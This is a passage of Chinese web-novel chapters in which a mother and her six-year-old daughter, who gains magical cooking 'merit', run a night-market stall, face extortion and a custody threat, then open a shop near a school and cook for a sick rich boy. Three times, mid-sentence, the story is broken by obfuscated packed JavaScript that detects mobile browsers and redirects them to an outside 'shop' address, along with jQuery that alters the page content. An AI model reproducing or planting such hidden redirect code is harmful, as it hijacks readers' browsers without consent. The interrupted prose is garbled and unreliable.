宋听雅心里“咯噔”一下,脸上的笑差点挂不住。 吴姐说的张哥——八九不离十。 “新来的?”张哥吐出一口烟圈,慢悠悠凑近,“生意挺旺啊。” 宋听雅立刻放下手里的袋子,挤出笑:“是、是,今天刚来。您是张哥吧?吴姐跟我们提过……” “吴翠莲啊。”张哥嗤笑一声,“她倒是会做人。” 他的目光往下落,落在宋如淼身上。小姑娘正踮着脚翻炒,灶火把她的小脸映得通红,额前碎发被汗沾湿,贴在皮肤上。她没抬头,像根本没把这两个人当回事。 张哥挑眉:“这么小就会做饭?你爸呢——” 他说着,手伸过来,像要拍她的头。 宋听雅瞬间上前半步,几乎是本能地把宋如淼挡在灶台内侧,:“张哥,这是我们的一点心意,您多关照。” 她把信封递过去,指尖却还在抖。 张哥没接,反倒伸手,直接掀开保温箱的盖子。 热气扑出来,里面码着备用的土豆饼,金黄油亮。 宋听雅的心一下子提到嗓子眼——那一瞬,她几乎想伸手去按住盖子,可她不敢。 张哥拿了一个,咬了一大口,嚼了两下,点点头:“手艺可以。就是——你这儿太挤了。人多了容易出事。万一谁摔一跤,谁烫一下,怪到你头上,你担得起?” 板寸头立刻接话:“我们也不是找你麻烦,主要是——帮你控控流量。” “控流量”三个字,软得像棉,却裹着刀。 你不交,他真能在摊前站两个人,把路口一挡,随便一句“别聚集”,人就散了。你连解释都没地方解释。 宋听雅脸色白得像纸。她咬住嘴唇,还是把手机掏出来,手指发抖地扫了板寸头胳膊上贴的码。 “嘀——” 【微信转账:¥300.00】 张哥这才笑了:“还挺懂事。” 他把吃剩的半个饼随手丢进旁边垃圾桶:“夜市这边我每个月都得来‘看看’,你别让我跑空。” 宋听雅喉咙里像吞了块热炭,烧得发疼,却只能点头:“好……好。” 张哥和板寸头施施然离开,像从她们碗里捞走一块肉,还嫌你肉不够肥。 宋听雅站在原地,胸口一阵阵发麻。她听见周围的“嘀嘀”收款声还在响,闻见锅里的香还在冒,可她忽然有点喘不过气。 原来这世上,哪儿都有“规矩”。 “妈妈。”宋如淼从板凳上跳下来,小手握住她冰凉的手指,“还有好多人等着呢。” 宋听雅回神,硬生生把那口潮热压回去:“……好,继续卖。” 宋如淼重新站上小板凳。今天的妈妈实在不适合上灶——她手抖得厉害,眼神也散。 小小的人忍着手腕的酸痛,重新掌勺。 一份又一份,一碗又一碗,油烟裹着汗气往脸上扑。她的胳膊发软,脚下的小板凳也微微晃,可她一声不吭,只把锅稳住,把火稳住,把每一粒米、每一根面都翻得亮亮的。 就在这时,一个声音像从云端落下来,贴着她耳骨响起—— “功德累计:50。” “天赋‘香引’已开启:香气可远,可聚,可牵引。” “注:香引随心念微动,消耗极低。” 宋如淼睫毛轻轻一颤。 原来……功德不是白攒的。攒到“成数”,会回报。 她来不及细想,锅重新稳住,把火候掐回正位,试了下起心动念,香引开启,像把一粒看不见的盐撒进滚油里。 下一秒,香气像忽然长了腿。 它不再只在37号这一小块棚子底下打转,而是顺着人流的缝隙往外钻,钻过两个摊位,钻过一排灯,钻到夜市入口处,钻进刚进门的人鼻子里—— “咦?这边是什么味儿?” “好香……像葱油、像蛋香,还带点焦香——” “走走走,去看看是谁家。” 队伍肉眼可见地涨起来。 原本犹豫着要走的客人回头:“阿姨,我还是来一份炒饭吧,加蛋!” 隔壁卖糖葫芦的大叔愣了下,骂骂咧咧:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091472|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你这第一天就这么旺?不讲理啊。” 嘴上骂,手却默默把自家凳子往里挪了挪,给她们让出更多排队的位置。 火起,油响,香更盛。 这一晚,37号摊前的人一直没断过。夸赞声不绝于耳,收款提示“嘀嘀嘀”像雨点落在手机上,钱盒也一点点沉下来。 十一点多收摊。 夜市的灯一盏盏灭下去,清洁工推着车走过,扫帚沙沙响。宋听雅清点收入,嗓音发哑:“六百多……去掉成本……两百出头。” 她看着余额,指尖冰凉。她想:一晚上拼到手抖,先给了管理费八百,又给了张哥六百——她们还没真正“开始”,就先被剜走一块肉。 推车回到老居民区那条小巷时,夜风更凉了。 宋听雅忽然停住脚步。 街角那辆黑色轿车又在。 这一次,车窗降下一半,里面的人没有躲。 路灯照出女人半张脸。她的目光先落在推车上,又落在宋如淼身上,停了停,最后才慢慢回到宋听雅脸上,嘴角轻轻一勾,像在看拙劣低下的人。 宋听雅浑身血液都凝固了,本能地把宋如淼往身后藏。 车里只有唐安意。 唐安意慢条斯理地开口:“摆摊?” 宋听雅喉咙发疼,没答。 唐安意的目光又落回宋如淼,像在评估一件物品的价码:“你苦点、下贱点,没关系。可你一个做母亲的,怎么能让孩子跟着你这么辛苦?何况还是女孩。” 她说“辛苦”两个字时,没有半分心疼,只有居高临下的怜悯——怜悯里还带着嘲弄。 “跟你过这种苦日子,”她轻轻笑了一声,“不嫌丢人吗?” 宋听雅指尖瞬间发白,胸口那点旧伤被精准地剜开。她想反驳,却发现自己连一句像样的话都找不到。 因为她确实穷,确实狼狈,确实在街边讨生活。更因为她要有收入——不然淼淼的抚养权,就会被抢走。 宋如淼却从宋听雅身后探出头。 小姑娘的脸还带着灶火熏出来的红,额前碎发贴着汗,眼睛却亮得像一颗不肯蒙尘的珠子。 她看着唐安意,声音不大,却干净清楚: “阿姨,丢人的是——只会站在车里笑别人。” 唐安意微微一怔。 宋如淼继续说,语气软糯,却字字落地:“我们做饭换钱,是用手换的,不是用脸换的。” 她顿了顿,像一个六岁孩子的认真,又像把一把小刀藏进糖里: “你看不起我们,是因为你没尝过‘自己活出来’的味道。” 宋听雅心口狠狠一震。 她几乎要把宋如淼拉回身后。可宋如淼却更近一步,握住宋听雅的手,掌心温热,稳稳把她拉住。 “我跟着妈妈,不委屈。”她认真补了一句,“我最怕的不是苦,是没有妈妈。疼小孩,自己生去,关心别人家的算什么。” 唐安意的笑意僵了一下,像被什么不该有的锋利划到,孩子,如果她有,她能生,她们就是死了,她也不会多看一眼!她的眼神更冷:“牙尖嘴利。不过是摆摊的,有上顿没下顿。等你收入不够维持淼淼上学的时候——就是让你们母女分离的时候。” 黑色轿车发动,悄无声息地驶离巷口,像从未出现过。 可那股寒意,还留在原地。 宋听雅站着,浑身发抖。也不是怕,是一种被人踩到尘里却无力反击的愤怒和无助……以及那一点点,仍不肯死心的荒唐。 宋如淼拉住她的手,掌心温热:“妈妈,我们回家。锅里还有剩饭,我给你抄一碗蛋炒饭。” 宋听雅喉咙一哽,重重点头:“好。” 回到屋里,门一关,狭窄的出租屋像一座小小的堡垒。 宋如淼把剩饭、鸡蛋、一点点葱花,锅里翻起朴素的香。她盛了一碗递给宋听雅:“妈妈吃。” 宋听雅一口一口吃着,明明很香,却食不知味。抬头,看见宋如淼也坐在对面,小口小口吃着,像什么都没发生过。 那一瞬间,宋听雅忽然有点想哭。 “淼淼……”她嗓子发哑,“跟着妈妈,委屈你了。都怪妈妈没用。” 宋如淼认真摇头,像把每个字都掰开了给她听:“你不是没用。你只是太怕失去我。” 她伸手,把宋听雅的掌心按在自己胸口——那儿有一小簇热意在燃烧。 “妈妈,感受到了么?”她声音很轻,“我的心跳是你给的,我们会越来越好的。” 宋听雅怔住,指尖被那点温热烫得发颤,宋如淼的眼神认真得不像六岁。 窗外风起,像要落雨。 宋如淼轻轻呼出一口气。 她们娘俩的路——已经亮起来了。以后谁想掀她们的锅,那就让谁尝尝烫的滋味。 6.视频爆火,渣爹上门 晚上,中山路夜市的灯像一串串挂在天上的糖葫芦,亮得晃眼。人流一来,便是潮水。 37号棚子底下,油一落锅,“滋啦”一声,葱香就贴着风跑。 宋如淼站在小板凳上,锅铲“嚓嚓”刮着锅底,米粒在锅里翻滚,她掐火候的手腕稳得不像六岁——可她偏偏又会在最该笨拙的时候,故意慢半拍,像个认真学做饭的小孩。 自从“香引”开了,她更谨慎。 只让香气比别人多飘一点点:三五米,不远不近;只让回头客比平时多一两成:刚刚好像“手艺特别好”,而不是“邪门”。 她摸到门道后,甚至学会把香气藏进缝里——人潮挤的时候,香就往队尾钻;风大时,香就贴着雨棚往下压;隔壁摊主吆喝得正响,她就把香收一收,像懂事的孩子不抢话。 可“藏”得再好,也挡不住短视频时代的镜头会自己长腿。 那天傍晚,一个大学生边排队边拍,随手剪了几段:一段是她踮脚颠锅的背影,一段是炒饭出锅时那层油亮的光,一段是他自己咬下第一口的表情——像被香气打了个正着。 配文还欠得很—— 【夜市惊现六岁掌勺小厨神,炒饭香哭我。】 第二天被转进同城号,第三天就挂在热榜边缘,评论区一水儿“地址”“求定位”“我也要去”。 宋听雅抱着手机看,手心全是汗,连呼吸都不敢放大:“这会不会……太招摇了?” 宋如淼安慰道:“妈妈,这是好事。” “好事?”宋听雅怔住。 “有人免费帮我们宣传。”宋如淼说得很认真,像在教一个不会算账的大人,“来的客人多,钱就多。钱多,咱们就能换厚被子,换好锅,也能攒房费、学费。” 她没说出口的是:钱多,才站得住。站得住,才不怕剧情来掀锅。 冬天一到,夜市的风像刀,排队的人手指冻得发白。 宋如淼早早让宋听雅买了姜和红糖。那天她们比平时提前去了一会儿,宋听雅把姜切得细细的,红糖敲得碎碎的,煮了一大锅,放在摊前的小暖炉上,还贴了张手写牌: 【排队可领热姜茶一杯】 成本不高,暖的是人心。 有大叔喝了两口,哈着白气:“这天儿你还想着给人暖一口,难得。” 有年轻妈妈把杯子捧给孩子,小声叮嘱:“谢谢姐姐。” 还有个刚下班的女孩端着姜茶站在风里,眼眶红红的,没说话,只冲宋听雅点了点头。 那一晚,提示音断断续续响个不停。 “叮——功德+1。” “叮——功德+2。” 宋如淼睫毛一颤,忽然明白:让人吃饱是功德,让人“撑住”也是。 她以为日子会就这样一点点往上走,像锅里翻滚的米粒,越炒越香。 直到那个周末。 夜市刚收摊,灯还没全灭,宋听雅正弯腰擦灶台,忽然有人站到37号棚前,声音温和得像一杯温水: “请问是宋听雅女士吧?” 宋听雅抬头,看见一个穿深色大衣的男人,三十多岁,戴眼镜,拎公文包,笑得客气。客气得不像夜市的人。 “我、我是。”宋听雅下意识把围裙往身上拢了拢,像怕油烟把人家弄脏,“您是……” “我是傅庭深先生的代理律师。”男人递出名片,语气依旧温和,“傅先生委托我向您转达两件事。” 名片上“律师”两个字亮得刺眼。 宋听雅呼吸当场乱了一拍,脸色一点点白下去。她没敢接,像那不是纸,是刀。 她甚至还抱着一点傻念头,声音发哑地问了一句:“他……他来了吗?” 律师笑意不变:“傅先生不便到场。” 这句话像一锤,敲碎她心口那点“也许”。 “第一,”律师取出文件,边缘整齐得像切过,“傅先生已取证,认为您长期让未成年儿童参与经营、并利用网络曝光炒作牟利,对孩子身心发展极为不利。” “第二,”他顿了顿,语气像在给她留面子,“傅先生愿意依法承担抚养责任,为宋如淼提供更好的教育与生活环境。请您在三日内配合办理相关手续。” 三日内。配合办理。 每个词都像钉子,往宋听雅心口里钉。 夜市还没散尽的人影突然变得模糊,灯光像抖了一下,宋听雅耳朵里只剩“嗡嗡”的响。她下意识攥住推车把手,铁皮冰凉,硌得掌心发疼。 她看见律师身后不远处停着一辆车,车窗半降,里面的人没露全脸,却有一双眼睛冷得像水。那双眼,她认得。 宋听雅喉咙像被烟呛住,半天挤不出一句话——她穷,她狼狈,她在街边讨生活,她都可以抗住,可却抗不住这碎得连渣都不剩的体面。 律师还在温声补刀:“宋女士,这是为了孩子好。关于抚养费与补偿,可由双方律师协商——” “为了我好?” 一道软软的声音插进来。 宋如淼从小板凳上跳下来,鞋底落地“啪”一声,很轻,却像给这一幕按下了暂停。 她走到宋听雅身边,小手握住妈妈发冷的手指。再抬头看律师,眼神干净: “为了我好——那你问过我吗?我想要的好是什么?” 律师一滞。 宋如淼歪了歪头,像孩子问最简单的那种“为什么”: “我饿的时候、冷的时候、差点没饭吃的时候,他在哪儿?” 她没等人回答,指了指摊前还温着的姜茶,指尖小小的: “你看见了吗?这不是舞台,这是我们家的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096105|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅,是我和妈妈的饭。” 她声音不大,却字字清楚: “我会做饭,是因为我想让妈妈吃饱。妈妈摆摊,是因为她想让我上学。” 宋听雅眼泪一下子掉下来,慌忙低头去擦。下一秒,宋如淼拽了拽她的袖子,声音忽然软下来——软得像一团热气,贴着人心口: “妈妈,别哭。我最怕的不是辛苦,不是摆摊——是没有妈妈。” “我不会跟任何人走。” 宋听雅胸口那口堵了很久的气,终于吐出来。她抬起头,眼里第一次有了硬气,嗓音发哑,却稳: “你回去告诉傅庭深,我会找律师。” “你们要走程序,那就走。” 她抬手按住推车把手,像按住自己最后的骨头: “你们要证据,我也有证据——账本、转账记录、老师证明,我一样不少。” “但任何人也别想把我们母女拆开。” 她不能再让淼淼出现在风口上了。 当晚回家,宋听雅几乎没睡。她把重要东西一样样收进包:证件、学校证明、账本、银行卡……… 第二天天还没亮透,她就带着淼淼离开了中山路。 云城很大,中山路不过一条街;昌北是远郊新区,新盘多,中介一口气带她们连看三套,当天就签了——押一付一就能住。 新小区门口有保安,路宽、树多,空气里少了油烟,多了点清晨的湿冷。宋听雅站在新房门口,手心还是潮的,却终于敢把背挺直。 她看着女儿,哑声说:“淼淼,这几个月我们攒下将近五万。除去房租、生活费、学费……还能拿三万,租个学校门口的小店面。” “周末你教教妈妈。以后妈妈做饭,你好好上学。” 这话说得像誓言。 宋如淼抬起下巴,带一点小神仙的傲气,眼睛却亮得很乖: “我可是厨神弟子。” “我会教好你,妈妈也会学好的。” 宋听雅被她逗得鼻子一酸,把她抱进怀里,声音轻得像怕惊动命运:“谢谢你……谢谢你来当我的女儿。” 很快,学校路口的小门脸挂起了新招牌—— 【淼淼小吃铺】 锅还是那口锅,火还是那团火,日子却终于有了样子。 在春暖花开的时节,一缕饭香从门缝里飘出去。 隔着院墙的路上,有个穿校服的小少爷鼻尖微微动了动。 那张总是冷着、像什么都不感兴趣的脸上,第一次浮出一点点“想要”的神色。 ——好香。 他让司机停车,自己站在路灯下。睫毛很长,眼睛淡得像雪,像很久很久没被人间的热气真正碰到过。 他看着那块小小的招牌,低声说了句: “过去看看。” 7.饭香引来了小少爷 “过去看看。” 司机应了一声,把车靠边停稳,下车替他拉开后座门。 春夜的风还带着一点凉,吹到谢晚酌脸上。他抬了抬大衣领口,路灯把他的影子拉得细长,投在那块小小的招牌上—— 【淼淼小吃铺】 门脸不大,玻璃擦得透亮,里面亮着暖黄的灯。透过玻璃,他能看见四张原木小方桌;墙上贴着几张菜式照片,照片边角还用透明胶带压得规规整整。 最里头是半开放式的操作台,宋听雅正握着锅铲专注翻炒,翠绿的青菜在锅里翻滚,油响“滋滋”地冒,香气顺着通风扇的缝隙漫出来,像会走路一样,绕过玻璃门缝,贴着人鼻尖轻轻一勾。 谢晚酌脚步顿了顿。 他向来不在外面吃东西。家里有营养师配好的食谱,有精确到克的食材;医生也叮嘱过,他胃不好,最忌乱吃。更别说这种街边小店——油烟、调味、火候,全是不可控的变量。 司机在旁边压低声音提醒:“少爷,恐怕您不适合在这用餐。” 谢晚酌眼睫微动,像在和自己较劲。 “我知道。”他打断,声音很淡,抬步走向玻璃门,抬手推开。 “叮铃——” 风铃清脆地响了一串。 宋听雅从灶台边抬头,忙擦了擦手,挤出笑:“您好,欢迎光临。” 操作台后面,宋如淼也探出头来。小姑娘先看了眼他身上的校服,又扫到门外那辆车和司机,心里“哦”了一声——这不是普通来觅食的小孩。 她立刻从后厨绕出来,笑得甜而自然:“哥哥好——想吃点什么?炒饭只剩最后一份喽,再晚就要收锅啦。” 谢晚酌下意识想说“不用”,脚尖甚至往后撤了半寸。可香气就在这时又绕了一圈,像故意给他添一把火。 他抬眼,扫了眼靠窗的位置,最终还是走进去坐下,背挺得笔直。 宋如淼立刻跑去拿菜单。 菜单是塑封的,边角还被剪圆,怕刮手。字不多,价格也亲民。她又去消毒柜里取出碗筷,拿热水细细烫过,一一摆好,末了抬头笑嘻嘻地说:“烫过啦,干净的!” 谢晚酌看了一眼,没说什么,只“嗯”了一声。 宋如淼把菜单往他面前一推:“哥哥想吃什么?” 谢晚酌指尖在菜单上停了停,抬眼看向灶台:“你们锅里做的是什么?闻着很香。” “青菜肉末炒饭。还有玉米排骨汤——刚炖好。” 谢晚酌喉结轻轻动了一下:“一份炒饭,一碗汤。” “好嘞!”宋如淼脆生生应下,抽走菜单就往操作台跑,踮着脚凑到宋听雅耳边压低声音,“妈妈,点单啦!炒饭保持刚才的火候,汤盛今天炖得最烂的那几块排骨。” 宋如淼端出来时,白雾蒙蒙的热气涌出,裹挟着醇厚的骨香。她把汤盅轻轻放到他面前,认真叮嘱:“小心烫。这汤炖了很久,玉米吸饱了骨汤。你喝一口,暖胃。” 谢晚酌没回答,只拿起勺,舀了一口,吹了吹,送入口中。 热从喉咙滑下去的那一瞬,他眉心明显松了。胃里那股紧绷像被温水一点点化开,连带着胸口都轻了半寸。 他又夹了一口饭。青菜脆,肉末香,米粒粒粒分明,舌尖最后尝到一点点胡椒的暖,刚好,不多不少。 宋如淼在旁边那张桌子坐下,双手托着下巴,眼睛一眨不眨地看着他。 这人真好看。睫毛长,皮肤白,却冷得像冬天结冰的湖面,让人不敢轻易靠近——可他捧着热汤的那一刻,冰面像裂开了一条很小的缝。 很快,他吃完了最后一口饭,汤也见了底。碗里只剩几粒米粘着,汤盅里的排骨和玉米吃得干干净净。 他放下筷子,用纸巾擦了擦嘴角,抬眼看向宋如淼。 “不错。”他说,声音仍旧平淡。 宋如淼眼睛一亮,从椅子上跳下来:“对吧!我妈妈学得可快了!” 谢晚酌目光掠过墙上的菜式照片:“就这些?” “试营业嘛!以后我会更新的。” “你会?”谢晚酌眉梢轻轻一动。 宋如淼一点都不心虚,说得理直气壮:“我跟电视学的呀!电视教一遍,我就记住啦。” 谢晚酌没再追问,只掏出手机:“多少钱?” 宋听雅忙出来,指着二维码:“炒饭十二,汤八块,一共二十元。扫这儿就行。” 【微信收款:¥20.00】 谢晚酌收起手机,起身要走,风铃又响了一串,像在送他。 他走到门口时脚步几不可察地顿了顿,回头看了一眼——宋如淼站在暖黄灯下朝他挥手,额前碎发被光镀出一点浅金;后厨灶火温热,汤锅还冒着白雾,满是人间烟火气。 他喉结轻轻动了动,低低“嗯”了一声,转身融进暮色里。 车门关上,司机回头问:“少爷,家里还要准备晚饭么?” 谢晚酌靠进椅背,淡声道:“不用。” —— 店里收拾碗筷时,宋听雅一边擦桌子一边感慨:“那孩子长得真好看,就是太冷清了。一个人出来吃饭,怪孤单的。” 宋如淼把椅子归位,忽然抬头:“妈妈,我好像见过这个哥哥。” “我们才搬来多久呀。”宋听雅笑着揉她头发,“可能是因为好看,你就觉得见过。” 宋如淼没吭声。 她趴回操作台的小台子上写作业,笔尖沙沙划过纸。写到一半,她忽然顿住,像被针扎了一下,慢慢抬手按住心口。 不对。 太不对了。 刚才那个人,明明把饭菜吃得一滴不剩,汤也喝得干干净净。按理说——只要一个人吃得满足、心里起一点暖,功德就该落下一声“叮——功德+1”。 可刚才……没有。 一点都没有。 宋如淼睫毛轻轻颤了颤,指尖在胸口停了很久。 ——怎么回事呢? 从那天开始,谢晚酌成了“淼淼小吃铺”的常客。 他来得很准,几乎每天晚上,卡着她们关门前三十分钟推开那扇玻璃门。这个点儿,风铃“叮铃”一响,宋听雅就知道是他来了,笑着招呼:“来啦?” 谢晚酌点头,依旧选靠窗那张桌子坐下。依旧坐得很直,外套永远叠得整齐,连杯口朝向都要摆正。吃饭时不说话,吃完也只轻轻一句“谢谢”,像把所有情绪都锁进礼貌里。 宋如淼一开始还觉得他“怪”。 后来发现:怪得很稳定。 稳定到她可以闭着眼背出来他的流程:进门、点头、坐下、吃饭、结账、离开;像一条写死的剧情线,偏偏又每天准时出现。 小店的菜单也慢慢丰富起来。墙上的照片一天比一天多,宋听雅的手也一天比一天稳。她煮面时不再手忙脚乱,翻炒时锅铲不再发抖,连摆盘都学会撒一撮葱花点个颜色——人终于从“被生活追着跑”,变成“能追着生活讨一点甜了”。 而宋如淼呢? 她每天的功德提示音都响得很热闹—— “叮——功德+1。” “叮——功德+2。” 隔壁工地的大叔吃完一碗面,说“这口面算是把我命续回来了”;送孩子上课外班的妈妈喝一口例汤,说“感觉今天没那么紧绷了”;还有穿校服的女孩子捧着热汤站在门口,甜甜地说“谢谢”。 功德像小金币一样叮叮当当往她兜里掉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17100648|195438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 可谢晚酌—— 一次也没有。 一次都没有。 这事儿太刺眼了。就像一堆“叮叮叮”里突然多了一段死寂,死寂还天天准时来报到。 这天晚上,谢晚酌刚坐下,宋听雅照例问:“今天想吃什么?” 谢晚酌扫过墙上新贴的菜式照片,淡淡道:“都行。” 都行,随便——真是最让人头疼的回答。 宋如淼转身跑回厨房:“妈妈,鲜肉小馄饨吧!今天馅儿调得特别好!” 宋听雅却还是下意识看了谢晚酌一眼:“可以么?” 谢晚酌:“好。” 馄饨端上来时,皮薄得透光,能看见里面粉嫩的馅。汤色鲜亮,热腾腾扑到脸上。 谢晚酌安静地吃。一口馄饨、一口汤。 宋如淼坐在隔壁桌写作业,铅笔沙沙响,眼角余光却总往他这边瞟。 她在等。 等那缕功德暖流。 可还是没有,还是没有。 馄饨一个不剩,汤也喝得见底。他放下勺,轻声说:“谢谢。” 又是“谢谢”。 宋如淼心口那点期待,像火星落在冰面上,“嗤”一声就灭了。 这都快一个月了。 怎么就他吃一点功德都没有呢? 宋如淼坐不住了。 司命伯伯说过,功德来源于“让人获得温热满足”。谢晚酌难道不满足?还是说——他根本没觉得好吃,只是出于教养才勉强吃完? 这个念头像根小刺,扎在她心里。 她可以接受有人挑食——天宫膳房也常遇到。可她不能接受有人为了不让她难堪而假装喜欢。 那是对厨神的侮辱! 于是当谢晚酌又一次推门进来时,宋如淼没像往常那样笑着迎上去。 她站在操作台后,小手攥着围裙边,眼睛盯着他,很认真地问:“谢晚酌,你是不是不喜欢吃我家的饭?” 店里忽然静了。 宋听雅正往锅里下面,闻言手一抖,几根面条掉到灶台上。她赶紧捡起来,偷偷看了眼女儿——小脸绷着,琥珀色的眼睛没有笑意,像两粒硬糖般微微瞪着。 谢晚酌站在门口,风铃还在他头顶轻轻晃。他愣了一下,似乎没料到这个问题。 “没有。”他说。 “那为什么你从来不夸好吃?”宋如淼追问,“别的客人都会说‘好吃’、‘下次还来’,你只会说‘谢谢’。” 谢晚酌沉默了几秒。 他走进来,关上门,风铃又响了一声。目光落在宋如淼脸上,像在斟酌词句——这种斟酌很少见,像他也不习惯和人解释“为什么”。 “好吃。”他终于开口,声音比平时低一点。 他顿了顿,像要确保自己说出来的不是随便安慰人的话,而是事实。 “馄饨馅很鲜,汤也很好喝。” “炒饭米粒散,油光不腻。”睫毛垂下去,又补了一句,“我只是……不习惯说。” 宋如淼盯着他。 “那好吧。”她泄了口气,还是很快把笑挂回脸上,像翻锅一样利落,“那你今天吃什么?黄金蛋炒饭好不好?” 谢晚酌点点头,坐下。 那一晚,他还是吃光了,也喝光了附送的海带汤。功德依然没来。 宋如淼终于认栽:好吧,可能真不是他的问题,是“机制”问题。 司命伯伯只说了“让人获得温热满足”,可没具体说“人”指哪些人——万一天庭的功德收取对某些特殊体质不识别呢? 她把疑问压回心口,像把火候压住:不急,慢慢炖。 直到周五晚上谢晚酌没来。周六,也没来。 8. 豪门冷灶与第一口热汤 宋如淼还在想谢晚酌这两天为什么没来,傍晚时分,那辆熟悉的黑色轿车就停在了店门口。 车门打开,下来的却只有司机。 往日里总是沉稳的中年人,此刻脚步明显快了些。 “宋女士,实在抱歉打扰了。我家少爷病了。” “病了?”宋听雅手里擦桌子的动作一停,下意识看向靠窗那个位置。 “嗯,着凉引起的高烧,反复了两天。”司机叹了口气,眉头拧成一个结,“医生看了,药也吃了,可这孩子胃口本来就差,这一病更是几乎滴水不进。下午才好一点,忽然说想吃您家的鲜肉小馄饨。” 他说着,眼神里全是恳求:“能不能麻烦您现做一份?我带走。” 宋听雅心里一软。她脑子里闪过谢晚酌坐在店里喝汤的样子——背挺得很直,手指握勺也像握着规矩。 “我这就做。”宋听雅把抹布往盆里一放,转身去洗手,“你稍等。” 灶火点起,锅里水很快翻了起来。宋听雅刚要取馄饨皮,宋如淼却哒哒哒跑过来,小手按住了汤勺。 “妈妈。”她仰起脸,声音不大,却很认真,“他发烧两天了,胃肯定难受。” 宋听雅一怔:“那我给他少放点猪油?” 宋如淼摇头,想得更直接:“小馄饨照店里的做法包、照店里的味道调——他想吃这个味儿,我们另外给他带一份汤。” 她跑去后厨,抱出一个小汤盅,里面是下午刚炖好的山药排骨汤,盅壁还冒着细细的白雾。 “这个养胃,不腻。”她把汤盅往台面上一放,又补了一句,“让他先喝两口汤,再吃馄饨,胃舒服一点。” 宋听雅看着女儿那副小大人的样子,没多问,只点头:“行。” 馄饨皮薄,手心一压就服帖。肉馅是早上剁的,肥瘦刚好,拌进一点点葱姜水,润而不腻。宋听雅包得很快,指尖一捏,一只只小月牙排在案板上,整整齐齐。 清汤是店里一贯的做法:骨汤吊底,出锅前点一点点猪油,撒葱花,最后再丢两片紫菜提鲜——干干净净,最适合胃不好的。 水滚起来,馄饨下锅,翻两圈就浮上来,皮子透亮。宋听雅把它们盛进保温桶内胆里,汤一浇,热气一下子把桶盖都顶得发烫。 宋如淼又跑到柜台后,撕下一张便签纸。 笔尖在纸上沙沙作响,她写得很慢,一笔一划,端端正正: 【要乖乖吃饭。】 【这是特制的“神仙汤”,喝了病气就跑光光啦。等你好了,我给你做新研制的面。】 她把纸条塞进保温桶的隔层里,再把那盅山药排骨汤稳稳放好,最后用手指在盖子上轻轻拍了拍,像是在提醒这份热气:别半路跑掉。 “叔叔,这顿我请晚酌哥哥吃。”宋如淼把保温桶递过去,琥珀色的眼睛亮晶晶的,“麻烦你告诉他,不吃饭是打不过病菌的。” 司机愣了一下,随即笑了笑,声音里带着点疲惫的轻松:“好,我一定带到。谢谢你,小朋友。” 轿车消失在街角,宋如淼刚想转身,耳边忽然响起一声很轻、却带着回音的提示——不像平时那种短促的“叮”,更像谁在她心口轻轻敲了一下。 “功德累计:200。” “天赋‘稳火’已开启:心定火稳,百味归一。” “注:借功德为引,温养万物。” 宋如淼睫毛猛地一颤。 稳火,来了。 她低头看向灶台下那簇蓝焰,心里突然踏实了一点。她伸手贴上灶台边缘,像以前摸着自家小板凳那样自然,心念一动。 火舌原本有点乱跳,此刻却像被人轻轻按住,稳稳地贴着锅底走,不偏不倚。那种稳,肉眼都能看出来。 宋听雅正要翻下一锅饭,忽然“咦”了一声:“今天这火怎么这么听话?像有人帮我盯着似的。” 宋如淼不吭声,只坐回小板凳上,晃着腿。 那天晚上,小店比往常更忙。炒饭出锅时油光刚好,米粒颗颗分明,锅气正;馄饨汤也清亮,葱花浮在上头,热气不躁。客人一口下去就笑:“老板娘,今天这味道太正了!”“吃完胃里暖暖的,舒服。” “叮——功德+1。” “叮——功德+2。” 提示音一串接一串,宋如淼听得心里发痒,差点没笑出声。 可忙到快收摊时,那辆黑色轿车又回来了。 刹车声急,像一路都在赶。 司机推门进来时,脸上全是愧色:“宋女士……实在对不住。” 宋听雅心一提:“怎么了?晚酌还是吃不下?” “不是。”司机搓了搓手,叹气道,“路上堵了一段,馄饨皮泡久了,汤也有点凉。少爷尝了两口就放下了。” 他停了停,又补了一句:“还有……您给他带的那盅汤他倒喝了两口。可馄饨他只说——‘不是店里的味道。’” 宋听雅怔住。她下意识就要解释“放久了就这样”,可话到嘴边,又咽回去——因为她也明白,谢晚酌要的不是“能吃”,是那一口刚出锅的。 司机声音更低:“先生和太太都急得不行。能不能……能不能麻烦您带上食材,上门一趟?只借用您一小时,酬劳我们付十倍。” 宋听雅本能地想拒绝。她只是开小店的,不想去沾染那些有钱人的生活。 “妈妈。”宋如淼拽了拽她的衣角,小声说,“我们去吧。饿肚子很难受的。” 宋听雅看着女儿那双干净的眼睛,心里那点顾虑忽然散开了一半。她轻轻吸了口气:“好。那咱们做完就走。” …… 